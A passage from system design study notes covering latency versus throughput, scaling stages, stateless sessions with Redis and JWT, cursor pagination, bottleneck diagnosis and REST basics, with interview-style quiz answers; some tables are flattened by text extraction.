Option B -- buffer 100 writes, flush as one batch (high throughput):
Batch flush: 10ms total (one seek, bulk write)
Throughput: 100 writes / 10ms = 10,000 writes/sec
(50x better)
Latency:
100 writes at 10,000/sec fill in 10ms
(2x worse)
Trade-off:
Latency 5ms --> 10ms
Throughput 200 --> 10,000
(got worse)
(got much better)
Neither is right. Match the choice to what your system actually needs.
A real-world knob that directly controls this trade-off: linger.ms in Kafka. When a Kafka producer sends
messages, linger.ms controls how long it waits before dispatching a batch.
linger.ms = 0
--> send immediately, no waiting
--> low latency, low throughput
--> every message travels alone in its own batch
linger.ms = 5
--> wait up to 5ms before sending
--> in that window, more messages accumulate
--> one network call carries many messages
--> higher latency (up to 5ms extra), higher throughput
Common trap: linger.ms=0 feels like "fastest" but it is lowest THROUGHPUT.
Each message travels alone. No batching. Many small network calls.
Throughput and latency do not always move together.
System
Latency choice
Throughput choice
Kafka producer
linger.ms=0: send every event
immediately
linger.ms>0: batch messages before
sending
DB connection pool
Fewer connections: less overhead per
request
More connections: more parallelism,
higher QPS
CDN caching
Cache at edge: lower latency for reads
Stale cache: write propagation slower
to users
Files (images, JS, CSS) copied to servers
near users. Mumbai user fetches from
Mumbai CDN node (~5ms) not US origin
(~200ms).
When you update a file at origin, CDN
nodes keep serving the old copy until their
cache TTL expires. More nodes served =
higher throughput, but changes take
longer to reach all users.
HTTP/2 streams
Fewer streams: less queuing pressure
More streams: higher total throughput
The Decision Framework
Who or what is waiting for the result?
HUMAN is waiting (user-facing):
-> Latency first. P99 < 200ms is usually the target.
-> Users feel every millisecond.
-> Examples: API calls, page loads, search results
MACHINE is waiting (pipeline, batch job):
-> Throughput first. Process as much data as possible.
-> Latency of minutes or hours is acceptable.
-> Examples: ETL jobs, analytics pipelines, ML training
BOTH matter (payments, trading):
-> Hardest to design.
-> Usually solved with tiered architecture:
Fast path: low latency for user-facing confirmation
Slow path: high throughput for settlement, reconciliation
Chapter 2 — Quiz & Answers
Q: Your API average response time is 85ms. PM says all good. What do you actually check and
why?
A: Check P99 and P95, not the average. The average hides tail latency completely. At 1M
requests/day, P99 = 10,000 users experiencing worst-case response time every single day. Also check
histograms to understand the shape of the distribution — whether there is a bimodal pattern (cache
hits vs misses showing two peaks) or a long tail caused by periodic GC pauses or slow DB queries.
The average alone tells you almost nothing about user experience.
Q: SLO is 99.95%. How many minutes of downtime are you allowed per month? What happens
when you breach it?
A: Error budget = 100% - 99.95% = 0.05%. One month = ~43,800 minutes. 0.05% of 43,800 = ~21.9
minutes allowed per month. On breach: internally — all releases freeze immediately, engineering
switches exclusively to reliability work until budget resets next month. Customer-facing: service
credits per SLA terms.
Q: Designing a Kafka pipeline. Stakeholder says: set linger.ms=0 so events go out immediately.
What are you trading? When do you agree vs push back?
A: linger.ms=0 sends every event immediately without batching. Result: lower latency per event but
significantly lower throughput — each message pays full per-send network overhead independently.
Push back when the consumer is a batch analytics system where sub-second latency has zero
business value. Agree when the consumer needs real-time reaction — fraud detection that must fire
within milliseconds, live dashboards, alerting pipelines. The key question: what is the SLO of the
consumer?
Q: Service fans out to 50 microservices in parallel. Each has P99 of 5ms. Probability top-level
request completes within P99? Fix?
A: 0.99^50 = approximately 0.605. Only 60% of top-level requests complete within the 5ms P99. 40%
are held up by at least one slow downstream service. Fix: hedged requests — send the same request
to two instances of each downstream simultaneously, use whichever responds first, cancel the other.
The cost is approximately 2x backend load on the tail requests (which is a small percentage of total
traffic). The benefit is dramatically lower top-level P99.
Q: Interviewer: design this system for 99.999% availability. What is the first thing you say back?
A: First question: what is the actual business cost of downtime for this system, and what justifies five
nines? 99.999% allows only 5.26 minutes of downtime per year, costs roughly 100x more than 99.9%
to build and operate, and requires multi-region active-active architecture, full redundancy of every
component including the redundancy itself, and a dedicated SRE team. Most systems genuinely need
99.9% or 99.99% at most. Asking this question signals you understand that availability is a business
decision with real cost trade-offs, not just a technical target to maximise.
Chapter 3 — Scalability Fundamentals
When a system goes from 100 users to 10 million, what breaks, in what order, and how do you fix each layer
systematically?
Topic 3.1 — Vertical vs Horizontal Scaling
The Story
2015. You are the sole backend engineer at a food delivery startup. One server. 500 users. Life is
good. Six months later you are on Shark Tank. Deal closes. Next morning: 500 to 50,000 users
overnight. Your server is on fire. CPU at 100%. Response times 8 seconds. Users are tweeting about
it. Your CTO calls: "Fix it in 2 hours or we are dead." You have two options: Call AWS, upgrade from
4 cores/16GB to 32 cores/256GB RAM — done in 20 minutes. Or spin up 10 more identical servers,
put a load balancer in front. Which do you pick, and what happens 6 months from now at 5 million
users?
Vertical Scaling — Scale Up
Making one machine bigger. You have one truck. It is struggling. You buy a bigger truck.
Before:
After:
1 server -> 4 vCPU, 16GB RAM, 500GB SSD
1 server -> 96 vCPU, 768GB RAM, 10TB SSD
What you gain:
More CPU cores
-> handle more parallel threads
More RAM
-> larger in-memory cache, bigger connection pools
Faster disk (NVMe) -> lower DB I/O latency
What you do NOT gain:
No redundancy: server dies -> everything dies
Hard ceiling: AWS largest instance: 448 vCPU, 24TB RAM (~$218/hr)
Beyond that: impossible to scale further
Downtime to resize: most cloud providers require restart
Cost curve: non-linear. 2x specs often costs 3-4x more
Horizontal Scaling — Scale Out
Adding more machines. You have one struggling truck. You buy 9 more identical trucks and hire a dispatcher
(load balancer).
Before: 1 server struggling
After: 10 identical servers + load balancer distributing traffic
What you gain:
No ceiling:
Redundancy:
Cost:
Autoscaling:
add servers indefinitely. Theoretically infinite.
1 server dies, 9 remain. Users barely notice.
commodity hardware is cheap.
spin up more at peak, down at off-peak.
What it costs you:
Complexity:
need load balancer, service discovery
State problem: sessions, cache, data must be shared or stateless
Consistency: data across 10 servers must stay in sync
Operational: monitoring, deploying, managing 10 servers vs 1
Situation
Choose
Why
Early stage startup < 100K
users
Vertical first
Simpler. No distributed complexity.
Need redundancy / zero
downtime
Horizontal — always
One server = single point of failure.
Stateless service (API
servers)
Horizontal — trivial
Any server handles any request.
DB / stateful service early
stage
Vertical first, then
sharding
Horizontal DB is complex. Buy time first.
Traffic spikes / autoscaling
Horizontal
Spin up/down on demand.
Legacy monolith
Vertical
Too complex to retrofit for horizontal.
Topic 3.2 — Stateless vs Stateful
The Story
Your food delivery app now has 10 servers. Load balancer distributing traffic. Monday morning. A
user logs in. Request hits Server 3. Server 3 creates a session, stores it in its own memory:
session_abc123 -> { user_id: 42, cart: [...], logged_in: true }. User adds items to cart. Still hitting
Server 3. Works perfectly. Then Server 3 gets busy. Load balancer routes next request to Server 7.
Server 7 has no idea who this user is. No session. No cart. No login state. User is suddenly logged
out. Cart is empty. They were mid-checkout. They tweet: "Your app just lost my entire order. Never
using this again."
Pattern 1 — External Session Store (Redis)
User logs in:
Server creates session -> stores in Redis, NOT server RAM
Redis key:
session_abc123
Redis value: { user_id: 42, cart: [...], logged_in: true, ttl: 3600 }
Server 3 gets request -> reads session from Redis -> processes correctly
Server 7 gets next
-> reads SAME session from Redis -> works correctly
Any server handles any request.
Redis is the single source of truth for session state.
Instant revocation: delete the key from Redis.
~0.5ms overhead per request (Redis GET same datacenter).
Pattern 2 — JWT (JSON Web Token)
What if the server did not need to look anything up at all? What if the token itself contained all the information
needed?
User logs in:
Server creates JWT token.
JWT = base64(Header) + "." + base64(Payload) + "." + base64(Signature)
Header:
{ "alg": "RS256", "typ": "JWT" }
Payload:
{ "user_id": 42, "role": "customer", "exp": 1735689600 }
Signature: SIGN(server_private_key, header + "." + payload)
Every subsequent request:
Client sends: Authorization: Bearer eyJhbGciOiJSUzI1NiJ9...
ANY server decodes it locally (base64 is not encryption)
ANY server verifies the signature using server PUBLIC key
If valid and not expired: trust the payload. user_id=42 is Alice.
No Redis lookup. No DB call. Pure math.
Redis Sessions
JWT
Revocation
Instant — delete the key
Cannot revoke before expiry (15 min
window)
Lookup cost
~0.5ms Redis call per request
Zero — decode and verify locally
Cross-service
All services need Redis access
Share public key — works anywhere
Payload visibility
Server only
Client can decode (base64) — not
encrypted
Use for
Monolith login sessions
Microservices / API auth
HS256 = symmetric. One shared secret. All services that verify must have it. If one service
compromised, secret exposed everywhere. RS256 = asymmetric. Private key signs. Public key
verifies. Auth service holds private key. All other services hold only public key. Compromising a
downstream service does not expose the signing key. Production standard.
Pattern 3 — Push State to Client (Cursor / Resume Token)
Server sends state back in response. Client sends it back with next request. Server holds nothing between calls.
Pagination — Full Deep Dive
The Problem with Offset Pagination
GET /orders?page=3&limit=20
SQL: SELECT * FROM orders
WHERE user_id = 42
ORDER BY created_at DESC
LIMIT 20
OFFSET 40
-- newest orders first
-- return at most 20 rows
-- skip the first 40 rows (pages 1 and 2)
# LIMIT = how many rows to return per page
# OFFSET = how many rows to skip before starting
#
Formula (1-indexed pages): OFFSET = (page - 1) x limit
#
page=1: OFFSET = (1-1) x 20 = 0
(rows 1-20)
#
page=2: OFFSET = (2-1) x 20 = 20 (rows 21-40)
#
page=3: OFFSET = (3-1) x 20 = 40 (rows 41-60)
# ORDER BY created_at DESC
#
DESC = descending = newest first.
#
Without this, DB returns rows in undefined/insertion order.
#
Pagination only makes sense if the order is stable and consistent.
# ─────────────────────────────────────────────────────────
# The 3 problems (examples use limit=5 for simplicity):
# ─────────────────────────────────────────────────────────
Problem 1 — Drift (duplicates):
State: 10 items exist. Ordered DESC: 10,9,8,7,6,5,4,3,2,1
Page 1 (OFFSET 0, LIMIT 5) --> user sees: 10, 9, 8, 7, 6
While user reads page 1, new item id=11 is inserted at the top.
Ordered list is now: 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1
User clicks next. Page 2 (OFFSET 5, LIMIT 5):
DB skips first 5: 11, 10, 9, 8, 7
DB returns next 5: 6, 5, 4, 3, 2
id=6 was on page 1. id=6 is also on page 2.
User sees id=6 TWICE. This is a duplicate / drift.
Root cause: a new item pushed everything down by 1.
OFFSET does not know the list shifted. It blindly skips 5.
Problem 2 — Silent Data Loss:
State: 10 items. Ordered DESC: 10,9,8,7,6,5,4,3,2,1
Page 1 (OFFSET 0, LIMIT 5) --> user sees: 10, 9, 8, 7, 6
While user reads page 1, id=8 gets deleted from the database.
Ordered list is now: 10, 9, 7, 6, 5, 4, 3, 2, 1 (9 items)
User clicks next. Page 2 (OFFSET 5, LIMIT 5):
DB skips first 5: 10, 9, 7, 6, 5
DB returns next 4: 4, 3, 2, 1
id=5 was supposed to be the first item of page 2.
But the deletion of id=8 shifted id=5 up into the skip zone.
id=5 is now in positions 1-5 of the new list (skipped by OFFSET 5).
User never sees id=5. No error thrown. Silent loss.
Root cause: a deletion above OFFSET boundary pulls items
into the skip zone. OFFSET does not adjust for removed rows.
Problem 3 — Deep Page Performance:
LIMIT 20 OFFSET 10000
DB does not jump to row 10001. It scans rows 1 to 10020,
discards the first 10,000, and returns the last 20.
The scan cost grows linearly with page depth.
page 500, limit 20: OFFSET = (500-1) x 20 = 9,980
DB scans ~10,000 rows every time page 500 is requested.
At page 5,000: scans ~100,000 rows. Takes seconds.
Root cause: SQL OFFSET has no index. It is a full scan + discard.
Cursor pagination (WHERE id < last_seen_id) uses the B-tree
index and jumps directly to the right row. O(log n) not O(n).
When offset pagination is acceptable:
Admin dashboards, small datasets, page count capped at 50-100.
Any user-facing infinite scroll or large dataset: use cursors.
Cursor Pagination — Step by Step with Real Example
Orders table, showing 10 rows, returning 5 per page, newest first:
Table:
id=10
id=8
id=6
id=5
id=3
id=1
Wow! Momo
Haldirams
Subway
Burger King
KFC
McDonalds
| id=9 Barbeque Nation
| id=7 Starbucks
<- end of page 1
| id=4 Pizza Hut
| id=2 Dominos
<- end of page 2
PAGE 1 REQUEST:
GET /orders?limit=5
SQL: SELECT * FROM orders WHERE user_id=42 ORDER BY id DESC LIMIT 5
Returns: id=10, 9, 8, 7, 6
Last item: id=6
Server encodes cursor: base64({"last_id":6}) = "eyJsYXN0X2lkIjogNn0="
Response: { data:[...], next_cursor:"eyJsYXN0X2lkIjogNn0=", has_more:true
}
PAGE 2 REQUEST:
GET /orders?limit=5&cursor=eyJsYXN0X2lkIjogNn0=
Server decodes cursor: {"last_id": 6}
SQL: SELECT * FROM orders WHERE user_id=42 AND id < 6 ORDER BY id DESC
LIMIT 5
Returns: id=5, 4, 3, 2, 1
has_more: false
Why Cursor (WHERE id < value) is O(log n)
The id column is a primary key — always has a B-tree index. The DB uses the index to jump directly to id=6 (like
binary search), then walks backwards reading exactly the rows needed. It never touches rows above id=6.
CURSOR query: WHERE id < 6 ORDER BY id DESC LIMIT 5
Step 1: B-tree lookup for id=6 --> O(log n), microseconds
Step 2: Walk backwards: 5,4,3,2,1 --> read exactly 5 rows
Step 3: Stop. Done.
DB never touches id=7,8,9,10. Jumps straight to position.
Cost: O(log n) to find start + O(k) to read k rows.
Effectively constant regardless of table size.
Why OFFSET is O(n) — A Completely Different Operation
OFFSET is not a value in any index. "Skip 10,000 rows" is a DB engine instruction, not a lookup. The engine has no
tree node labelled "row 10,000." It must count from the top every single time.
OFFSET query: ORDER BY id DESC LIMIT 5 OFFSET 5
Step 1: Scan from id=10 (top of result set)
Step 2: Count and DISCARD id=10 (1 wasted)
Step 3: Count and DISCARD id=9
(2 wasted)
Step 4: Count and DISCARD id=8
(3 wasted)
Step 5: Count and DISCARD id=7
(4 wasted)
Step 6: Count and DISCARD id=6
(5 wasted)
Step 7: NOW return id=5,4,3,2,1
At page 500 (OFFSET 9,980): scan and discard 9,980 rows EVERY request.
Cost grows linearly with page depth. O(n).
Analogy:
Cursor = bookmark. Open the book exactly where you left off.
OFFSET = flip from page 1 every time, even to reach page 500.
One-liner:
Cursor = find by VALUE (indexed).
OFFSET = find by POSITION (not indexed, always counted from start).
Computing has_more Efficiently — The limit+1 Trick
The naive approach: run COUNT(*) to get total rows, compare to current offset + limit. Problem: COUNT(*) on a
large table is a full scan. Expensive on every page request.
# Naive (expensive):
SELECT COUNT(*) FROM orders WHERE user_id = 42
-- Full scan every time just to compute one boolean. Avoid this.
# Efficient: the limit+1 trick
# Instead of querying for limit rows, query for limit+1.
SELECT * FROM orders
WHERE user_id = 42
ORDER BY id DESC
LIMIT 6
-- asked for 5, requested 6
OFFSET 0
# In application code:
rows = db.query(...)
if len(rows) == 6:
has_more = True
rows = rows[:5]
else:
has_more = False
rows = rows
-- got more than asked
-- trim the extra, do not send to client
-- got 5 or fewer = last page
# Works identically for cursor pagination:
SELECT * FROM orders
WHERE id < :last_cursor
ORDER BY id DESC
LIMIT 6
-- limit + 1
# If 6 rows returned --> more exist. Strip last. has_more = True.
# If < 6 rows returned --> last page. has_more = False.
# Why this works:
# You are not asking "how many total rows exist?"
# You are asking "does even one more row exist past what I am showing?"
# That costs exactly one extra row fetch. Zero COUNT needed.
How Cursor Solves the Duplicate Problem
Scenario: user reads page 1, new order id=11 arrives at top.
OFFSET approach:
Next page: LIMIT 5 OFFSET 5
DB now skips: id=11,10,9,8,7 -> returns id=6,...
id=6 was on page 1. DUPLICATE shown to user.
CURSOR approach:
User has cursor {"last_id": 6}
Query: WHERE id < 6
id=11 is above 6 -> COMPLETELY INVISIBLE to this query.
Returns id=5,4,3,2,1 as expected.
No duplicates. Ever. Mathematically guaranteed.
How Cursor Solves the Data Loss Problem
Scenario: user reads page 1, then id=8 gets cancelled and deleted.
OFFSET approach:
Next page: LIMIT 5 OFFSET 5
List is now shorter. OFFSET lands differently.
id=5 shifts to position 5 (was 6). OFFSET 5 skips it.
User never sees id=5. Silent data loss.
CURSOR approach:
User has cursor {"last_id": 6}
Query: WHERE id < 6
Deletion of id=8 happened ABOVE the cursor.
Completely irrelevant to this query.
Returns id=5,4,3,2,1 correctly.
id=5 is included as expected.
Compound Cursor — For Timestamp Sorting
When sorting by created_at, two rows can share the exact same timestamp. A timestamp-only cursor breaks
silently in this case.
Setup:
id=45, created_at = 2024-01-10 19:00:00.000
id=46, created_at = 2024-01-10 19:00:00.000
Page 1 just ended. Last item shown: id=46.
Cursor stored: { "ts": "2024-01-10 19:00:00.000" }
Broken query (timestamp-only cursor):
WHERE created_at < "2024-01-10 19:00:00.000"
This means: give me everything STRICTLY BEFORE this timestamp.
id=45: created_at = ts exactly -> NOT strictly less -> EXCLUDED
id=46: created_at = ts exactly -> NOT strictly less -> EXCLUDED
id=46 was already shown on page 1. Fine.
id=45 was never shown. Was supposed to be first item of page 2.
But the query excludes it. User never sees id=45. Silent loss.
Why "both excluded, one lost":
< excludes everything AT that exact timestamp.
Both rows sit at that exact millisecond.
Both are excluded by the query.
Only id=45 matters -- id=46 was already seen.
The fix: use id as a tiebreaker in the cursor.
Compound cursor: { "ts": "2024-01-10 19:00:00.000", "id": 46 }
SQL:
WHERE (created_at < "2024-01-10 19:00:00.000")
OR (created_at = "2024-01-10 19:00:00.000" AND id < 46)
Evaluate for each row:
id=46: created_at = ts AND id < 46 -> 46 < 46 is FALSE -> excluded
(already seen, correct)
id=45: created_at = ts AND id < 46 -> 45 < 46 is TRUE -> included
(rescued)
id=45 is now visible. No silent loss.
One-liner:
< on timestamp alone excludes everything at that exact millisecond.
Compound cursor uses id as tiebreaker to rescue same-timestamp rows
that were not yet shown.
Used by Slack, Twitter, Instagram for feed pagination cursors.
Compound Cursor — Response & Subsequent Call
Works exactly the same as a simple cursor. The encoded value just carries two fields (ts + id) instead of one. The
client never reads or constructs it — it is opaque to the client.
=== PAGE 1 REQUEST ===
GET /orders?limit=5
=== PAGE 1 RESPONSE ===
{
"data": [
{ "id": 48, "created_at": "2024-01-10 19:00:01.000", ... },
{ "id": 47, "created_at": "2024-01-10 19:00:00.500", ... },
{ "id": 46, "created_at": "2024-01-10 19:00:00.000", ... },
{ "id": 45, "created_at": "2024-01-10 19:00:00.000", ... },
{ "id": 44, "created_at": "2024-01-10 18:59:59.000", ... }
<-- last
item
],
"next_cursor": "eyJ0cyI6IjIwMjQtMDEtMTAgMTg6NTk6NTkuMDAwIiwiaWQiOjQ0fQ==",
"has_more": true
}
# Server encoded the LAST item on the page:
# base64({ "ts": "2024-01-10 18:59:59.000", "id": 44 })
# = "eyJ0cyI6IjIwMjQtMDEtMTAgMTg6NTk6NTkuMDAwIiwiaWQiOjQ0fQ=="
=== PAGE 2 REQUEST ===
GET
/orders?limit=5&cursor=eyJ0cyI6IjIwMjQtMDEtMTAgMTg6NTk6NTkuMDAwIiwiaWQiOjQ0f
Q==
# Server decodes cursor:
# { "ts": "2024-01-10 18:59:59.000", "id": 44 }
# Server runs compound query:
SELECT * FROM orders
WHERE user_id = 42
AND (
created_at < "2024-01-10 18:59:59.000"
OR (created_at = "2024-01-10 18:59:59.000" AND id < 44)
)
ORDER BY created_at DESC, id DESC
LIMIT 6
-- limit+1 for has_more check
The client stores next_cursor and passes it back as-is. It never parses, constructs, or modifies it. Base64 is not
encryption — just transport-safe encoding that discourages clients from trying to read or tamper with the cursor
value. The server is the only party that encodes and decodes it.
Topic 3.3 — How to Identify the Bottleneck
The Story
Your system is slow. Not catastrophically down — just slow. P99 crept from 200ms to 800ms over
the last two weeks. No single deployment caused it. Traffic grew gradually. Something is choking.
Your CTO walks over: "Find it and fix it by EOD." Where do you even start? The request touches 6
services, 2 databases, a cache layer, and a message queue. The bottleneck could be anywhere. This
is one of the most important skills a senior engineer has — the ability to systematically narrow
down where a system is breaking, without guessing.
The Core Principle
A system is a chain. A chain's speed is determined by its slowest link. It does not matter how fast your API server
is if your database query takes 2 seconds. Optimising the API server gives zero improvement. You must find the
slow link first.
Example:
Request -> [API: 5ms] -> [Cache: 0.5ms] -> [DB: 1800ms] -> [Serialise:
2ms]
Optimise API from 5ms -> 1ms:
saves 4ms
Optimise DB from 1800ms -> 50ms: saves 1750ms
Always fix the bottleneck. Everything else is noise.
Step 1 — Distributed Tracing First (Always)
Before looking at any component, measure the full request end-to-end. Tools: Jaeger, Zipkin, AWS X-Ray, Datadog
APM.
A single trace shows:
Total request time:
Auth middleware:
Input validation:
Cache lookup:
DB query #1:
DB query #2:
External API call:
Serialisation:
800ms
2ms
1ms
0.5ms (miss)
620ms
<- suspicious
18ms
140ms
<- also suspicious
3ms
Two candidates: DB query #1 and external API call.
Everything else is irrelevant. Do not touch them.
Without tracing: guessing. With tracing: surgical.
This is non-negotiable in production systems.
Step 2 — Check the Four Resource Categories
Every bottleneck in every system falls into one of four categories:
Category
Signs
Common Causes
Fixes
CPU
CPU% > 80%, many
R-state processes,
high load average
Inefficient algorithm, no
caching, heavy serialisation,
regex on large strings, crypto
operations
Profile code (py-spy, async-profiler,
pprof), add caching, optimise hot
path, scale horizontally
R-state =
Running/Runnable:
process is on CPU or
queued waiting for
CPU. Many R-state
processes = more
processes want CPU
than cores available.
D-state = waiting for
disk I/O,
uninterruptible. High
load average with low
CPU% usually means
D-state (disk), not
CPU.
Memory
Available RAM near
zero, swap > 0, high
page faults
Loading full dataset into RAM,
memory leak, ORM SELECT *
when 2 cols needed
Stream instead of load all at once,
fix leak via heap dump, SELECT
only needed columns
Disk I/O
%util > 80%, await >
20ms, high read I/O
with no cache
Missing DB index (full table
scan), too many small random
writes
Add index, EXPLAIN ANALYZE
query, batch writes, NVMe SSD,
add read replicas
Concurrency
Requests queue
with CPU/RAM/disk
all idle, lock wait
timeouts in logs
DB connection pool
exhausted, long-running
transactions holding row
locks, thread pool saturated
Reduce transaction scope, tune
pool size carefully, optimistic
locking, break large transactions
Check each resource:
CPU:
top / htop
Memory: free -h
vmstat 1
Disk:
iostat -x 1
iotop
Network: netstat -s
ss -s
-> CPU% > 80% sustained?
-> swap > 0 = severe (disk is 100x slower)
-> %util > 80%? await > 20ms?
-> high retransmits?
-> many connections in CLOSE_WAIT?
DB-Specific Checklist (Most Common Bottleneck)
1. EXPLAIN ANALYZE on the slow query
Seq Scan?
-> missing index. Full table scan. Add index.
Index Scan? -> good. Check actual vs estimated row counts.
2. Slow query log
Which queries appear most often?
Which have highest total_time (frequency x duration)?
These two may be different queries.
3. N+1 query pattern
1 query fetches 100 users.
Then 100 queries to fetch each user's orders.
Each query looks fine (1ms). Together: catastrophic.
Fix: JOIN or IN clause to batch the lookup.
4. Connection pool
Too small -> requests queue waiting for a connection
Too large -> DB overwhelmed by too many simultaneous connections
PgBouncer sits in front of Postgres to manage this at scale.
5. Long-running locks
SELECT * FROM pg_locks; (Postgres)
SHOW PROCESSLIST;
(MySQL)
Long transactions holding row locks block everything behind them.
Two Frameworks Worth Knowing
USE Method (for each resource)
RED Method (for each service)
U - Utilisation: how busy is it? (%)
R - Rate: requests per second arriving
S - Saturation: how much work is queued?
E - Errors: what % of requests are failing?
E - Errors: error counts on this resource
D - Duration: latency distribution (P50, P99)
Apply to: CPU, Memory, Disk, Network, DB
connection pool
Apply to: each microservice in the call graph
Walk the RED method down your call graph. The service where Duration spikes AND Rate is normal
= your bottleneck. Then apply the USE method to that service to find which resource is the cause.
Topic 3.4 — The Scaling Journey
The Story
Most engineers learn system design by looking at Netflix or Uber and thinking: I need to design like
that from day one. That is wrong. Netflix did not start with microservices. They started with a
monolith and a single database. Uber did not start with geo-distributed sharded clusters. They
started with one Python app and one MySQL database. The scaling journey is a sequence of
predictable stages. Each stage has a specific breaking point. Each breaking point has a specific fix.
The skill is knowing which fix applies at which stage.
Users
Architecture
What Breaks First
The Fix
100 - 10K
1 server (app + DB on same
machine)
App and DB competing for
CPU and RAM. App does
heavy compute -> steals CPU
from DB.
Separate app server and
DB server. Two machines.
Isolated failure domains.
10K - 100K
Separate app + DB servers
Single app server CPU maxes
under load. One deploy =
downtime for all users.
Load balancer + 2-3 app
servers. Rolling deploys.
Move sessions to Redis
(stateless).
100K - 500K
LB + multiple app servers +
Redis sessions
DB CPU high. All 3 app servers
hammering same DB. Read
queries dominate.
Read replicas for SELECT
queries. Redis cache for
hot data (catalog, user
profiles).
500K - 1M
Above + read replicas +
Redis cache
Static assets (images, JS, CSS)
eating server bandwidth and
CPU.
CDN. Push all static assets
to edge. Your servers never
see static requests again.
1M - 5M
Above + CDN
Monolith: 50 engineers
deploying to same codebase.
One bad deploy takes
everyone down.
Extract 1-2 highest-load,
most independent services
first. Order service, Auth
service.
5M - 10M
Above + first microservices
Primary DB write bottleneck.
Reads fine (replicas). Writes
all go to one primary.
DB sharding. Split data
horizontally across multiple
primaries. Each handles
fraction of writes.
10M - 50M
Above + sharding
Synchronous chains. Order
calls Payment calls Inventory.
One slow service = everything
slow.
Kafka. Async event-driven.
Order service publishes
event. Others consume in
background.
50M+
Above + Kafka
Single region. Global users
with 150ms+ latency. Regional
failure = global outage.
Multi-region deployment.
GeoDNS routes users to
nearest region. Eventual
consistency.
The Critical Mental Model — Reads vs Writes
This is the most commonly confused thing in interviews.
Reads slow / DB read CPU high:
-> Add read replicas
-> Improve cache hit rate (Redis)
-> Both together
Writes slow / DB PRIMARY CPU high:
-> Shard (split data across multiple primaries)
-> Read replicas do NOT help write bottleneck
(all writes still go to ONE primary regardless of how many replicas)
Signs it is a WRITE problem (not reads):
Read replicas: CPU at 30% (underutilised)
Cache hit rate: 85%+ (reads mostly cached)
Primary CPU: 90%+ (writes are the bottleneck)
-> Writes are choking the primary. Shard.
Confusing these two = immediate red flag in interviews.
Anti-Patterns at Each Stage
Stage
Anti-Pattern
Why It Fails
100 users
Building microservices from day
one
10x development time, 0 users served, full
distributed complexity with no benefit
100K users
Adding app servers without
making them stateless
Random logouts, broken carts, uneven load on
sticky servers, chaos
500K users
Caching user-specific data in
shared cache
User A sees User B's cart. Security and
correctness disaster.
1M users
Extracting 20 microservices
simultaneously
Distributed monolith: all the complexity, none of
the benefits. Deploy risk everywhere.
10M users
Making everything strongly
consistent globally
Coordination overhead makes it effectively a
single-region system again. Defeats the purpose.
Chapter 3 — Quiz & Answers
Q: Your startup just hit 50,000 users. Single server. CPU at 85% peak. What is the first thing you
do? What do you NOT do yet?
A: Horizontally scale — add 2-3 identical app servers behind a load balancer. Simultaneously and
critically: move sessions to Redis to make servers stateless. Without this, scaling horizontally
immediately causes the random logout problem. Do NOT yet: shard the DB (DB is not the bottleneck
at 50K users — CPU at 85% is on the app server), add microservices (premature complexity), add
read replicas (reads are not the bottleneck). CPU at 85% on the app server means the app server is
the bottleneck. Fix exactly that and nothing else.
Q: You add 5 app servers behind a load balancer. Next day users report random logouts. Exact
problem and fix?
A: Sessions are stored in server RAM making servers stateful. User logs in on Server 3 — session
created in Server 3 memory. Next request routes to Server 7 — Server 7 has no session — user
appears logged out. Fix: move session storage to centralised Redis. All 5 servers read and write
sessions from Redis. Any server can handle any request. Servers become stateless. JWT is the
alternative for API auth across microservices — stateless token the server verifies without any
lookup — but cannot be revoked before expiry.
Q: Read replica lagging 500ms behind primary. User updates profile then immediately refreshes
and sees old data. How do you handle this?
A: This is the read-your-own-writes problem caused by async replication lag. For profile data,
eventual consistency is the right call — user sees old data for under a second, which is acceptable.
When stronger guarantees are needed: route that specific user's reads to primary for a short
window after a write (e.g. 5 seconds). Or use sticky primary reads per session — if user wrote in this
session, read from primary; otherwise read replica. Synchronous replication (primary waits for
replica before acknowledging write) is only justified for financial data and critical inventory — it
increases write latency significantly.
Q: 2M users. DB primary CPU at 90% during peak. Read replicas at 30% utilised. Cache hit rate
85%. Diagnosis and fix?
A: Read replicas at 30% utilised and cache hit rate 85% means reads are handled well — they are not
the problem. Primary CPU at 90% with healthy read metrics means writes are the bottleneck. Every
order, payment, and event write hits the single primary. Read replicas do not help — all writes still
go to one primary regardless of how many replicas exist. Fix: shard the database. Split data across
multiple primaries (e.g. by user_id % 4). Each shard handles 25% of write load. Four primaries
instead of one.
Q: A new engineer says: "Let's break our monolith into 20 microservices — we're growing fast and
need to scale." You are at 500,000 users. What do you say back?
A: Push back. At 500K users the bottleneck is specific high-load components, not architecture.
Splitting everything at once creates a distributed monolith: all the operational complexity of
microservices with none of the benefits if services are still tightly coupled. Every in-process function
call becomes a network call with added latency. 20 separate deploy pipelines, monitoring setups,
and on-call runbooks. Instead: identify the 1-2 services that are highest load, most independently
deployable, and causing the most deploy conflicts. Extract those. Stabilise. Reassess. Microservices
are a scaling solution for teams and load — not an architectural religion.
Chapter 4 — APIs, Auth & Communication
Topic 4.1 — REST
REST = Representational State Transfer. An architectural style, not a protocol. Defined by Roy Fielding in 2000.
Core idea: resources are nouns, HTTP methods are verbs.
The 6 REST Constraints
Constraint
Why it matters
Client-Server separation
Client and server evolve independently
Stateless
Every request self-contained. Enables horizontal scaling.
Cacheable
Responses declare cacheability (Cache-Control, ETag)
Uniform Interface
Resource IDs in URIs, self-descriptive messages, HATEOAS
Layered System
Client cannot tell if talking to server, LB, CDN, or gateway
Code on Demand (optional)
Server can send executable code (JS). Rarely discussed.
URI design:
/users
collection
/users/42
specific user
/users/42/orders orders of user 42
/orders?status=pending&sort=created_at
filtering/sorting
Correct:
GET /orders/42
DELETE /users/7
Incorrect: GET /getOrder?id=42 POST /deleteUser/7
HTTP Methods
Method
Purpose
Idempotent?
Safe?
GET
Retrieve resource
Yes
Yes
POST
Create new resource
No
No
PUT
Replace entire resource
Yes
No
PATCH
Partial update
No*
No
DELETE
Remove resource
Yes
No
Safe vs Idempotent — The Precise Difference
Safe = does not change server state. Idempotent = N calls produces same result as 1 call. These are independent
properties.
Method
Safe?
Idempote
nt?
Why
GET
Yes
Yes
Reads only. Nothing changes.
DELETE
No
Yes
Changes state once. Repeating adds no further change. Deleting
already-deleted = same end state.
PUT
No
Yes
Replaces resource. Repeating gives same end state.
POST
No
No
Creates new resource every call. 10 calls = 10 orders.
PATCH
No
Depends
PATCH {increment:1} = not idempotent. PATCH {email:x} =
idempotent.
Idempotent does NOT mean no side effect. DELETE has a side effect but is idempotent because
repeating produces the same end state. Safe means NO side effect at all.
Status Codes
200 OK | 201 Created (include Location header) | 204 No Content
202 Accepted: request received, will process async. Response includes a job/task
ID.
Use for: video encoding, report generation, bulk imports, anything long-running.
301 Moved Permanently
